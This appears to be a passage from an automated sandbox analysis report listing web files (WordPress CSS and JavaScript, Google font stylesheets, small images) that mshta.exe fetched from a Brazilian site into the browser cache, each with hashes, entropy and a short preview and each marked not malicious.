Preview:	/* . * .Core Owl Carousel CSS File. .v1.24. /../* clearfix /..owl-carousel .owl-wrapper:after {..content: ".";..display: block;..clear: both;..visibility: hidden;..line-height: 0;..height: 0;.}./ display none until init */..owl-carousel{..display: none;..position: relative;..width: 100%;..-ms-touch-action: pan-y;.}..owl-carousel .owl-wrapper{..display: none;..position: relative;..-webkit-transform: translate3d(0px, 0px, 0px);.}..owl-carousel .owl-wrapper-outer{..overflow: hidden;..position: relative;..width: 100%;.}..owl-carousel .owl-wrapper-outer.autoHeight{..-webkit-transition: height 500ms ease-in-out;..-moz-transition: height 500ms ease-in-out;..-ms-transition: height 500ms ease-in-out;..-o-transition: height 500ms ease-in-out;..transition: height 500ms ease-in-out;.}....owl-carousel .owl-item{..float: left;.}..owl-controls .owl-page,..owl-controls .owl-buttons div{..cursor: pointer;.}..owl-controls {..-webkit-user-select: none;..-khtml-user-select: none;..-moz-user-select: no

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\owl.theme[1].css

Download File

Process:	C:\Windows\System32\mshta.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	1664
Entropy (8bit):	5.223754054665017
Encrypted:	false
SSDEEP:	24:8rpEA98FvWxsEFgbZl4ulFZlnG1GoRVWX1GaDtGqvWf+KHK2ld1GKZXugZM5+iTk:8PG0+EFgPeAGfBw5JX0kg9
MD5:	FE31A99F51A65EC2A31AD4B63702C93D
SHA1:	1BA10A799FBD399D03E9AD2C71431C89ABBC4F32
SHA-256:	8F8439F41DD768871BDE30FCEB034A6DE5A50945A564658A60A06B23CB5D039A
SHA-512:	0346796A91A74B470D6C44536A685D8F8E7C154163A60CF001EC15CDD80A71B43ED270112575E584974F8274FDB4200E2A3EBF92DA8A8F9ACC1438BD3495446F
Malicious:	false
IE Cache URL:	http://facextrade.com.br/wp-content/plugins/cherry-plugin/lib/js/owl-carousel/owl.theme.css?ver=1.24
Preview:	/. .Owl Carousel Owl Demo Theme ..v1.24./...owl-theme .owl-controls{..margin-top: 10px;..text-align: center;.}../* Styling Next and Prev buttons /...owl-theme .owl-controls .owl-buttons div{..color: #FFF;..display: inline-block;..zoom: 1;..display: inline;/IE7 life-saver /..margin: 5px;..padding: 3px 10px;..font-size: 12px;..-webkit-border-radius: 30px;..-moz-border-radius: 30px;..border-radius: 30px;..background: #869791;..filter: Alpha(Opacity=50);/IE7 fix/..opacity: 0.5;.}./* Clickable class fix problem with hover on touch devices /./ Use it for non-touch hover action /..owl-theme .owl-controls.clickable .owl-buttons div:hover{..filter: Alpha(Opacity=100);/IE7 fix/..opacity: 1;..text-decoration: none;.}../ Styling Pagination/...owl-theme .owl-controls .owl-page{..display: inline-block;..zoom: 1;..display: inline;/IE7 life-saver /.}..owl-theme .owl-controls .owl-page span{..display: block;..width: 12px;..height: 12px;..margin: 5px 7px;..filter: Alpha(Opacity=50);/

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\parallax[1].css

Download File

Process:	C:\Windows\System32\mshta.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	403
Entropy (8bit):	4.793570624792053
Encrypted:	false
SSDEEP:	6:Mwq7sFnOst7+pArYTKfZ0ArB3Ozgr9sjrez5yzNLAWzlYTrw5SN3FLmiYR0vY:MDZs5ybn3grwOQZRzlymiYR0A
MD5:	D836CAC74A1D9528BE73EE745D64B8CA
SHA1:	D8269C3090161BAA21C97DF370E32C68F512C1A8
SHA-256:	E3BAB86A4895EB161114F42EC7EBD54534D90ED21691B986AB7C7C6C5DD1D57C
SHA-512:	966C80EC83F820D8EDA03CD01ABBBEBA8C79AE5098777E533F7A38134379CF921E25B3C17837502D34CD69B002009F955740FF30D7ED8DB76776B421BE48E501
Malicious:	false
IE Cache URL:	http://facextrade.com.br/wp-content/plugins/cherry-parallax/css/parallax.css?ver=1.0.0
Preview:	body .main-holder {..overflow: hidden;..position: static;.}..parallax-box {..position: relative;.}..parallax-content {..position: relative;..z-index: 2;.}..parallax-bg {..position: absolute;..overflow:hidden;..top: 0;..left: 0;..width: 100%;..height:100%;.}..parallax-bg-inner {..position:relative;..background-repeat: no-repeat;..background-size: cover;..background-position: center;..max-width:none;.}

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\sbi-styles.min[1].css

Download File

Process:	C:\Windows\System32\mshta.exe
File Type:	ASCII text, with very long lines, with no line terminators
Category:	downloaded
Size (bytes):	16845
Entropy (8bit):	4.927428585989144
Encrypted:	false
SSDEEP:	192:7MFuCes2ba6PZqwJPWeitF0faGG27acPpqiJXWYi1F+f8imVjFuXQT3XerQCTQW+:qFJXerQCFPKT/ob0JMSP
MD5:	02BACBAD1E26F0B3D1772D4CF5A047DC
SHA1:	89292741D360F7EB3319437CD32A80EA7B388941
SHA-256:	DF15236D4098113E3479FC540A9BD1046CA6029F5508098E9C4245A0E12FAB05
SHA-512:	4F2F5BD7AA47FAD34B3337ADA2F0C5411702A7046E6A65FDA97BB4E13EFFC05C30261C7EF27BECB4F5F0AC4E98F234B6EC81C900AAD7C12FD9D6FED844BB8A6D
Malicious:	false
IE Cache URL:	http://facextrade.com.br/wp-content/plugins/instagram-feed/css/sbi-styles.min.css?ver=2.9.2
Preview:	#sb_instagram{width:100%;margin:0 auto;padding:0;-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box}#sb_instagram:after{content:"";display:table;clear:both}#sb_instagram.sbi_fixed_height{overflow:hidden;overflow-y:auto;-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box}#sb_instagram #sbi_images{width:100%;float:left;line-height:0;-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box}#sb_instagram .sbi_header_link{-webkit-box-shadow:none;box-shadow:none}#sb_instagram .sbi_header_link:hover{border:none}#sb_instagram #sbi_images .sbi_item{display:-moz-inline-stack;display:inline-block;float:left;vertical-align:top;zoom:1;max-height:1000px;padding:inherit!important;margin:0!important;text-decoration:none;opacity:1;overflow:hidden;-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box;-webkit-transition:all .5s ease;-moz-transition:all .5s ease;-o-transition:all .5s ease;-ms-transition:a

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\styles[1].css

Download File

Process:	C:\Windows\System32\mshta.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	1743
Entropy (8bit):	5.077735166460529
Encrypted:	false
SSDEEP:	24:XVrYR0dTwSJ3zdUB4y45bkR/y/CXqprQW0Lp4FqjNrrKsTwRX5xIWJoDxVPToVpB:XVrAMLeR6/WqprQWEpfNrnwx5NYVLo/B
MD5:	EC96E53E57B5D34F762D567CDB29A312
SHA1:	33D59800F24B9967590354A7B47B37000DC5A5CC
SHA-256:	A559BA07F12AEDA335CA811BB96B6F57B555815A835FE5F86AD6E7F166190E6D
SHA-512:	026480FEB9493F463E9C7EC8E6FCB4F4F7706E71DC4F90EE0E74C30BD5C930535C3D329A20AB241E54E5FCF9A510F43081149449F4983DBC274BD155AE1A2F78
Malicious:	false
IE Cache URL:	http://facextrade.com.br/wp-content/plugins/contact-form-7/includes/css/styles.css?ver=5.0.3
Preview:	div.wpcf7 {..margin: 0;..padding: 0;.}..div.wpcf7 .screen-reader-response {..position: absolute;..overflow: hidden;..clip: rect(1px, 1px, 1px, 1px);..height: 1px;..width: 1px;..margin: 0;..padding: 0;..border: 0;.}..div.wpcf7-response-output {..margin: 2em 0.5em 1em;..padding: 0.2em 1em;..border: 2px solid #ff0000;.}..div.wpcf7-mail-sent-ok {..border: 2px solid #398f14;.}..div.wpcf7-mail-sent-ng,.div.wpcf7-aborted {..border: 2px solid #ff0000;.}..div.wpcf7-spam-blocked {..border: 2px solid #ffa500;.}..div.wpcf7-validation-errors,.div.wpcf7-acceptance-missing {..border: 2px solid #f7e700;.}...wpcf7-form-control-wrap {..position: relative;.}..span.wpcf7-not-valid-tip {..color: #f00;..font-size: 1em;..font-weight: normal;..display: block;.}...use-floating-validation-tip span.wpcf7-not-valid-tip {..position: absolute;..top: 20%;..left: 20%;..z-index: 100;..border: 1px solid #ff0000;..background: #fff;..padding: .2em .8em;.}..span.wpcf7-list-item {..display: inline-block;..margin: 0 0 0 1em

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\switcher[1].png

Download File

Process:	C:\Windows\System32\mshta.exe
File Type:	PNG image data, 10 x 19, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	207
Entropy (8bit):	5.824703976565338
Encrypted:	false
SSDEEP:	3:yionv//thPlHstj5l7prtxBlly43g/3MkOl0tDlX4wkBDjW3PsFmCsyxxZ2UGclC:6v/lhPWtVl1QHMkdJ4nDi3UqfclKh3p
MD5:	D6AE4F341752017AB0E603E3BB9260B7
SHA1:	C84C11D3BC69C7E14B2F75E7DEA6E0AC93DEE1E2
SHA-256:	8C2AD9254589A597B65DAE284A6DA49DBFE1E3C8E628B03B80883D980FB6435E
SHA-512:	136F04B44FC3194FB2DDA6DDE51AB0B83CE15BCD129EAD332053114675423D9E21E02769969D7037BC282F59AE11E673B61E2B3977253C54D8C5270FA72228FA
Malicious:	false
IE Cache URL:	http://facextrade.com.br/wp-content/plugins/gtranslate/switcher.png
Preview:	.PNG........IHDR....................sBIT....\|.d.....pHYs...........~.....tEXtCreation Time.01/09/10.......tEXtSoftware.Adobe Fireworks CS4......'IDAT(.c\|....."..###1.B&.T...Q..QH.(..5/.?..Q-....IEND.B`.

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\tmstickup[1].js

Download File

Process:	C:\Windows\System32\mshta.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	2506
Entropy (8bit):	4.979495337243772
Encrypted:	false
SSDEEP:	48:LXyO+4lW7dPr2StXZU/X2cQmoWUTp9XlUgpd2HuUBHrX:LXFLlWPXZKGrmwTO8quUtL
MD5:	D75AE5B4F9859E20DABD5BA0E6959625
SHA1:	B72540421BD54F42D92734D0A53D46273839811D
SHA-256:	294E2CE69040E1C6B4574E88881619342EDA4D098C187E56317288CE7B0E6168
SHA-512:	AA5239F962F9756781FE1907F3A7CE7A6FC4E92ED3D862B02460E69ADCDDE3DB98D82D6B3084BF096F32C966D258F561B81345620151A466B7BBC5B1EE982DBD
Malicious:	false
IE Cache URL:	http://facextrade.com.br/wp-content/themes/CherryFramework/js/tmstickup.js?ver=1.0.0
Preview:	(function($){..$.fn.tmStickUp=function(options){....var getOptions = {....correctionSelector: $('.correctionSelector')...,.listenSelector: $('.listenSelector')...,.active: false...,.pseudo: true...}...$.extend(getOptions, options);....var...._this = $(this)...,._window = $(window)...,._document = $(document)...,.thisOffsetTop = 0...,.thisOuterHeight = 0...,.thisMarginTop = 0...,.thisPaddingTop = 0...,.documentScroll = 0...,.pseudoBlock...,.lastScrollValue = 0...,.scrollDir = ''...,.tmpScrolled...;....if (_this.length != 0) {....init();...}....function init(){....thisOffsetTop = parseInt(_this.offset().top);....thisMarginTop = parseInt(_this.css("margin-top"));....thisOuterHeight = parseInt(_this.outerHeight(true));.....if(getOptions.pseudo){.....$('<div class="pseudoStickyBlock"></div>').insertAfter(_this);.....pseudoBlock = $('.pseudoStickyBlock');.....pseudoBlock.css({"position":"relative", "display":"block"});....}.....if(getOptions.active){.....addEventsFunction();....}...}//end in

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\warning[1]

Download File

Process:	C:\Windows\System32\mshta.exe
File Type:	GIF image data, version 89a, 36 x 38
Category:	dropped
Size (bytes):	1062
Entropy (8bit):	4.517838839626174
Encrypted:	false
SSDEEP:	12:z4ENetWsdvCMtkEFk+t2cd3ikIbOViGZVsMLfE4DMWUcC/GFvyVEZd6vcmadxVtS:nA/ag/QSi6/LKZzqKVQgJOexQkYfG6E
MD5:	124A9E7B6976F7570134B7034EE28D2B
SHA1:	E889BFC2A2E57491016B05DB966FC6297A174F55
SHA-256:	5F95EFF2BCAAEA82D0AE34A007DE3595C0D830AC4810EA4854E6526E261108E9
SHA-512:	EA1B3CC56BD41FC534AAC00F186180345CB2C06705B57C88C8A6953E6CE8B9A2E3809DDB01DAAC66FA9C424D517D2D14FA45FBEF9D74FEF8A809B71550C7C145
Malicious:	false
Preview:	GIF89a$.&.......h...............h.hh..h..h..h..h....h................h.................h.................h................hh.h..h..h..h..h.hhhhh.hh.hh.hh.hh..hh.h..h..h.h..h..hh.h..h..h..h..h..hh.h..h..h..h..h..hh.h..h..h..h..h...h...............h.hh..h..h..h..h....h...............h................h...........h.................h...............h.hh..h..h..h..h....h................h.................h.................h.................h..............h.hh.h..h..h..h....h..............h................h................h................h...............h.hh..h..h..h..h....h................h.................h.................h......................................................................................................................................!.......,....$.&.@......H.......<0.....VXQH..C..1>.(..@..C.t.q"B..S.\.r.D...Z.. .M.41.".......<.r.;.r4..P..]....+.T-...N...x....1.:..TdD...^.j..W.r...y....V...Lx0..):8p q.4.;...f`.r-K...(..P....t.].~..l..

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\warning[2]

Download File

Process:	C:\Windows\System32\mshta.exe
File Type:	GIF image data, version 89a, 36 x 38
Category:	dropped
Size (bytes):	1062
Entropy (8bit):	4.517838839626174
Encrypted:	false
SSDEEP:	12:z4ENetWsdvCMtkEFk+t2cd3ikIbOViGZVsMLfE4DMWUcC/GFvyVEZd6vcmadxVtS:nA/ag/QSi6/LKZzqKVQgJOexQkYfG6E
MD5:	124A9E7B6976F7570134B7034EE28D2B
SHA1:	E889BFC2A2E57491016B05DB966FC6297A174F55
SHA-256:	5F95EFF2BCAAEA82D0AE34A007DE3595C0D830AC4810EA4854E6526E261108E9
SHA-512:	EA1B3CC56BD41FC534AAC00F186180345CB2C06705B57C88C8A6953E6CE8B9A2E3809DDB01DAAC66FA9C424D517D2D14FA45FBEF9D74FEF8A809B71550C7C145
Malicious:	false
Preview:	GIF89a$.&.......h...............h.hh..h..h..h..h....h................h.................h.................h................hh.h..h..h..h..h.hhhhh.hh.hh.hh.hh..hh.h..h..h.h..h..hh.h..h..h..h..h..hh.h..h..h..h..h..hh.h..h..h..h..h...h...............h.hh..h..h..h..h....h...............h................h...........h.................h...............h.hh..h..h..h..h....h................h.................h.................h.................h..............h.hh.h..h..h..h....h..............h................h................h................h...............h.hh..h..h..h..h....h................h.................h.................h......................................................................................................................................!.......,....$.&.@......H.......<0.....VXQH..C..1>.(..@..C.t.q"B..S.\.r.D...Z.. .M.41.".......<.r.;.r4..P..]....+.T-...N...x....1.:..TdD...^.j..W.r...y....V...Lx0..):8p q.4.;...f`.r-K...(..P....t.].~..l..

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\wp-embed.min[1].js

Download File

Process:	C:\Windows\System32\mshta.exe
File Type:	ASCII text, with very long lines, with no line terminators
Category:	downloaded
Size (bytes):	1391
Entropy (8bit):	5.13936657531626
Encrypted:	false
SSDEEP:	24:XUdqIoZ2zsben5WlLysyIOKI1mQqRhoj3v2rFEgRuLUMB9/RUCXXmC3+:XUyEsyKystOKumTsOrFEmu7Bl6CX2Q+
MD5:	570AE0F3C201604926EA599D3D1F6C04
SHA1:	2C29243A73660964D4712B969D2A15E27777BC14
SHA-256:	5138D39633DC69FCD0ED7F33A5E38DC339123F682FA7F5242066879C2BBC8C9B
SHA-512:	44583F156E95AA16D20ED8DB8421001D9B7257B56B4FFF1E0378760406B4D6EB2B1315D28AD4F3F489A7733814B2FB2DDDF8F28004DAAEEE8D9BF4EA22A2742E
Malicious:	false
IE Cache URL:	http://facextrade.com.br/wp-includes/js/wp-embed.min.js?ver=4.9.20
Preview:	!function(c,d){"use strict";var e=!1,n=!1;if(d.querySelector)if(c.addEventListener)e=!0;if(c.wp=c.wp\|\|{},!c.wp.receiveEmbedMessage)if(c.wp.receiveEmbedMessage=function(e){var t=e.data;if(t)if(t.secret\|\|t.message\|\|t.value)if(!/[^a-zA-Z0-9]/.test(t.secret)){for(var r,a,i,s=d.querySelectorAll('iframe[data-secret="'+t.secret+'"]'),n=d.querySelectorAll('blockquote[data-secret="'+t.secret+'"]'),o=0;o<n.length;o++)n[o].style.display="none";for(o=0;o<s.length;o++)if(r=s[o],e.source===r.contentWindow){if(r.removeAttribute("style"),"height"===t.message){if(1e3<(i=parseInt(t.value,10)))i=1e3;else if(~~i<200)i=200;r.height=i}if("link"===t.message)if(a=d.createElement("a"),i=d.createElement("a"),a.href=r.getAttribute("src"),i.href=t.value,i.host===a.host)if(d.activeElement===r)c.top.location.href=t.value}}},e)c.addEventListener("message",c.wp.receiveEmbedMessage,!1),d.addEventListener("DOMContentLoaded",t,!1),c.addEventListener("load",t,!1);function t(){if(!n){n=!0;for(var e,t,r=-1!==navigator.appV

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\wp-emoji-release.min[1].js

Download File

Process:	C:\Windows\System32\mshta.exe
File Type:	ASCII text, with very long lines
Category:	downloaded
Size (bytes):	11943
Entropy (8bit):	5.096253847639827
Encrypted:	false
SSDEEP:	192:WuKiKqdccoXJW+TJr3J//bEvAbWXXR6AooHyrOUVsbEJEoesM0m3dJXWP/2//:0qlkJW+TJr3J//bEI+XgA5UCOeffJmW3
MD5:	FE0575B66568074463F12485D90F6D4C
SHA1:	AEEDD9AB3B7874E63F647042963CB1301A38B391
SHA-256:	647A6B36F3FD1F21BAE171270111096B4613C23A47E6621628A51BAE9C82B0B7
SHA-512:	0D209CBC9550CFCF49CA7CA5A1243E1578C0A42F9FB28C1FA8D353CEA26F24EED282547F47FE858126E1BA9A4AA4D8DDBD2CBDEF9DB5A45F24CFBFD6383BFF9E
Malicious:	false
IE Cache URL:	http://facextrade.com.br/wp-includes/js/wp-emoji-release.min.js?ver=4.9.20
Preview:	// Source: wp-includes/js/twemoji.min.js.var twemoji=function(){"use strict";var f={base:"https://twemoji.maxcdn.com/2/",ext:".png",size:"72x72",className:"emoji",convert:{fromCodePoint:function(d){d="string"==typeof d?parseInt(d,16):d;if(d<65536)return a(d);return a(55296+((d-=65536)>>10),56320+(1023&d))},toCodePoint:i},onerror:function(){this.parentNode&&this.parentNode.replaceChild(g(this.alt,!1),this)},parse:function(d,u){u&&"function"!=typeof u\|\|(u={callback:u});return("string"==typeof d?function(d,t){return o(d,function(d){var u,f,e=d,c=x(d),a=t.callback(c,t);if(a){for(f in e="<img ".concat('class="',t.className,'" ','draggable="false" ','alt="',d,'"',' src="',a,'"'),u=t.attributes(d,c))u.hasOwnProperty(f)&&0!==f.indexOf("on")&&-1===e.indexOf(" "+f+"=")&&(e=e.concat(" ",f,'="',u[f].replace(n,r),'"'));e=e.concat("/>")}return e})}:function(d,u){var f,e,c,a,t,n,r,b,o,i,s,l=function d(u,f){var e,c,a=u.childNodes,t=a.length;for(;t--;)e=a[t],3===(c=e.nodeType)?f.push(e):1!==c\|\|"ownerSV

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\animate-logo[1].css

Download File

Process:	C:\Windows\System32\mshta.exe
File Type:	ASCII text, with CRLF line terminators
Category:	downloaded
Size (bytes):	81132
Entropy (8bit):	4.724082147516296
Encrypted:	false
SSDEEP:	384:Cy1U1YB94h43181f4E4v2e2oPNPs0v424zVoVI4m48:71U1Q4h43181f4E4m0v424zVoVI4m48
MD5:	B7A9605E1633ACF8180CD3F6C604876D
SHA1:	3FF2D5FE95BD41130BFFDE2211B3CCD43716038A
SHA-256:	1CE4F92F822BDFBCCEAA71C2FCFE760F5228E445DE0C20AEABBB3D93DDDA2644
SHA-512:	66E085703BA9E14C49185FE35329469DE6BF3E4F6A2D3A3BFCDB52E79FAEC9E32657EF073A1F888AFB1A9309C38DC1F9B09F8FE95CF12A34C88782D683CDD52A
Malicious:	false
IE Cache URL:	http://facextrade.com.br/wp-content/plugins/logo-slider-wp/public/assets/lib/animate/animate-logo.css?ver=20
Preview:	@charset "UTF-8";..../!..Animate.css - http://daneden.me/animate..Version - 3.4.0..Licensed under the MIT license - http://opensource.org/licenses/MIT....Copyright (c) 2015 Daniel Eden../.....animated {.. -webkit-animation-duration: 1s;.. animation-duration: 1s;.. -webkit-animation-fill-mode: both;.. animation-fill-mode: both;..}.....animated.infinite {.. -webkit-animation-iteration-count: infinite;.. animation-iteration-count: infinite;..}.....animated.hinge {.. -webkit-animation-duration: 2s;.. animation-duration: 2s;..}.....animated.bounceIn,...animated.bounceOut {.. -webkit-animation-duration: .75s;.. animation-duration: .75s;..}.....animated.flipOutX,...animated.flipOutY {.. -webkit-animation-duration: .75s;.. animation-duration: .75s;..}....@-webkit-keyframes bounce {.. from, 20%, 53%, 80%, to {.. -webkit-animation-timing-function: cubic-bezier(0.215, 0.610, 0.355, 1.000);.. animation-timing-function: cubic-bezier(0.215, 0.61

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\chart.min[1].js

Download File

Process:	C:\Windows\System32\mshta.exe
File Type:	ASCII text, with very long lines
Category:	downloaded
Size (bytes):	19761
Entropy (8bit):	5.458312135639062
Encrypted:	false
SSDEEP:	384:bpO1nM9u0BDwt0u/9jydPsRKiyd+sbyWwDHdQPy0MaryWuDHdQ1Q58:Gwumwt0uVmeKIsiKpAaH
MD5:	6806368C6A0BF73A5236B452FD5C2332
SHA1:	250B6DE151107A11DA015D052CE89D1FE042F23D
SHA-256:	835526E45335B67067D09FEF4876BEB46F6557A357CD6F3EDA61284612983A0D
SHA-512:	D4278F7706EE8631F4DCD910D6247E4A80D1B6BD20B3484F23A039779F951B75BA62EE379EDAE9D4FF6D06A9814F96122481539DF590D9F8E781F4E4C3876D6B
Malicious:	false
IE Cache URL:	http://facextrade.com.br/wp-content/themes/theme51253/js/chart.min.js?ver=1.0
Preview:	var Chart=function(s){function v(a,c,b){a=A((a-c.graphMin)/(c.stepsc.stepValue),1,0);return bc.stepsa}function x(a,c,b,e){function h(){g+=f;var k=a.animation?A(d(g),null,0):1;e.clearRect(0,0,q,u);a.scaleOverlay?(b(k),c()):(c(),b(k));if(1>=g)D(h);else if("function"==typeof a.onAnimationComplete)a.onAnimationComplete()}var f=a.animation?1/A(a.animationSteps,Number.MAX_VALUE,1):1,d=B[a.animationEasing],g=a.animation?0:1;"function"!==typeof c&&(c=function(){});D(h)}function C(a,c,b,e,h,f){var d;a=.Math.floor(Math.log(e-h)/Math.LN10);h=Math.floor(h/(1Math.pow(10,a)))Math.pow(10,a);e=Math.ceil(e/(1Math.pow(10,a)))Math.pow(10,a)-h;a=Math.pow(10,a);for(d=Math.round(e/a);d<b\|\|d>c;)a=d<b?a/2:2a,d=Math.round(e/a);c=[];z(f,c,d,h,a);return{steps:d,stepValue:a,graphMin:h,labels:c}}function z(a,c,b,e,h){if(a)for(var f=1;f<b+1;f++)c.push(E(a,{value:(e+h*f).toFixed(0!=h%1?h.toString().split(".")[1].length:0)}))}function A(a,c,b){return!isNaN(parseFloat(c))&&isFinite(c)&&a>c?c:!isNaN(parseFloat(

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\cherry.parallax[1].js

Download File

Process:	C:\Windows\System32\mshta.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	12158
Entropy (8bit):	3.592754771957016
Encrypted:	false
SSDEEP:	192:t3BO6DYHSCIGSNHsVgqdAy3Ho4y+JFynA/RMAPAdLP3fbXchcRiiAf:x3wgkdn4Chv
MD5:	9DFB3EE198D0B5AD45C2A0BCD6BF803B
SHA1:	C90AFF5CC613C7308E0AD69F62B31E19FEFEE4EF
SHA-256:	89FCE279C9EA9D6232EE5A76067340817EF1A0FD4555FAC18095A202BB6DA952
SHA-512:	1155CC8C04C090E7ADC600D3473C481C66041EBB60DDC8189754E6EC61AB49120F3F9505250FA2CFC164AA91F9863E3F4C405381568B33DAC8346D1BA8652F41
Malicious:	false
IE Cache URL:	http://facextrade.com.br/wp-content/plugins/cherry-parallax/js/cherry.parallax.js?ver=1.0.0
Preview:	jQuery(document).ready(function($){. . parallax_box = $('section.parallax-box');. if(parallax_box.length > 0){. ParallaxBox();. }. . function ParallaxBox(). {. var windowSelector = $(window),. documentSelector = $(document),. documentWidth = documentSelector.width(),. windowHeight = windowSelector.outerHeight(),. liteMode = false,. ieVersion = getInternetExplorerVersion();. . var ds = document.documentElement;. . if(!device.mobile() && !device.tablet()){....liteMode = false;. . if (ieVersion !=-1 && ieVersion < 9){. liteMode = true;. }...}else{....liteMode = true;...}. . parallax_box.each(function(). {. parallaxBox($(this));. });. . function parallaxBox(obj){. . var obj_bg = obj.find('.parallax-bg'),. type = obj_bg.data('parall

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\css[1].css

Download File

Process:	C:\Windows\System32\mshta.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	154
Entropy (8bit):	5.123661053174663
Encrypted:	false
SSDEEP:	3:0SYWFFWlIYCZZ5RI5XwDKLRIHDfFU/w7fqzNsqcdjKI9tB8gfKRfvYvn:0IFFN+56ZP7izNspdP9D8LAv
MD5:	B3F631391C5184932BA0D5AE887A2924
SHA1:	EC95EEB6AEC69F4EC64F20D53B807802716468CD
SHA-256:	2E3EDCE076C67951659C01C1A4B07592E6E9FF327D2C89EE660BBF47E2887D9F
SHA-512:	B840688F47BE36DD829F1473FB47E0703519968705D0324C62A3D081E557E8F5DC44F6EC7A2148A5B7567EA9800B171FA9F70E198E1948EE6E3006360D3FAD92
Malicious:	false
IE Cache URL:	http://fonts.googleapis.com/css?family=Lato:100
Preview:	@font-face {. font-family: 'Lato';. font-style: normal;. font-weight: 100;. src: url(http://fonts.gstatic.com/s/lato/v23/S6u8w4BMUTPHh30AXC-u.eot);.}.

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\css[2].css

Download File

Process:	C:\Windows\System32\mshta.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	156
Entropy (8bit):	5.1208073656474
Encrypted:	false
SSDEEP:	3:0SYWFFWlIYCZZ5RI5XwDKLRIHDfFWYhfqzNsqcdjKIsfn6vYvn:0IFFN+56ZzhizNspdPsyAv
MD5:	F123470D54A5D2FFAADD149D5AD1AAB0
SHA1:	3C2F20E79789430AA00C6D7905C3CBF5C397F9A4
SHA-256:	9E9E61C05174FAB73421B450A65AB5882D2953DA2BC4501212CAE8F3C53B358C
SHA-512:	2ABF321BFFD8233E19D8BB5FFE9FF5D93E1C9E41B0AF63067CC2DA13DFCD80176D3D9D6762D5D36CBE379B5DC122A24A8B190CE6ACDAD5C3CE3D4F754FB58CF0
Malicious:	false
IE Cache URL:	http://fonts.googleapis.com/css?family=Lato:300
Preview:	@font-face {. font-family: 'Lato';. font-style: normal;. font-weight: 300;. src: url(http://fonts.gstatic.com/s/lato/v23/S6u9w4BMUTPHh7USSwiPHQ.eot);.}.

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\css[3].css

Download File

Process:	C:\Windows\System32\mshta.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	152
Entropy (8bit):	5.082226381168297
Encrypted:	false
SSDEEP:	3:0SYWFFWlIYCZZ5RI5XwDKLRIHDfFRWdFTfqzNsqcdjKIUtB40KHYvn:0IFFN+56ZRWHTizNspdPUtBNv
MD5:	2BC56AB743AAE5AAC9AAC55D0850AAC5
SHA1:	BFB989317C6BAAE1BAD28B90D9535B19BE847827
SHA-256:	5EC882B2726B2C1D1DA1717E2AC16FB43C0C9F34FEA5392B8DE090A47BEF197A
SHA-512:	FD901DB8F9B5ED13E5EFC55A750A364D47066509D7415544916AC7A9B3DFFC2A95A7CC3A45811C1A51746A0160A6D5F894CB06D51B0F234A558EFD9290A31F1A
Malicious:	false
IE Cache URL:	http://fonts.googleapis.com/css?family=Lato:400
Preview:	@font-face {. font-family: 'Lato';. font-style: normal;. font-weight: 400;. src: url(http://fonts.gstatic.com/s/lato/v23/S6uyw4BMUTPHjx4wWg.eot);.}.

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\css[4].css

Download File

Process:	C:\Windows\System32\mshta.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	156
Entropy (8bit):	5.138466900917678
Encrypted:	false
SSDEEP:	3:0SYWFFWlIYCZZ5RI5XwDKLRIHDfFS/w7fqzNsqcdjKIsk2SU6vYvn:0IFFN+56ZN7izNspdPsk2SU6Av
MD5:	61D55D02CF44B8A326A1504988A4955C
SHA1:	1641427E2A855C452FF71C3DD8014419376A30AD
SHA-256:	313F45400B50542F391871B43C708EADBDB23BFD4549EB8017A7192351FC41E4
SHA-512:	E8C3F9EEB19793334FDBF6CDE1731F09900F5BC20FAF3A1B6F76B796FCACB31324109280489923EBB66BEDEE242A6CD8B6654D80D95D9F523EC12CF633816127
Malicious:	false
IE Cache URL:	http://fonts.googleapis.com/css?family=Lato:700
Preview:	@font-face {. font-family: 'Lato';. font-style: normal;. font-weight: 700;. src: url(http://fonts.gstatic.com/s/lato/v23/S6u9w4BMUTPHh6UVSwiPHQ.eot);.}.

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\css[5].css

Download File

Process:	C:\Windows\System32\mshta.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	156
Entropy (8bit):	5.133627878467913
Encrypted:	false
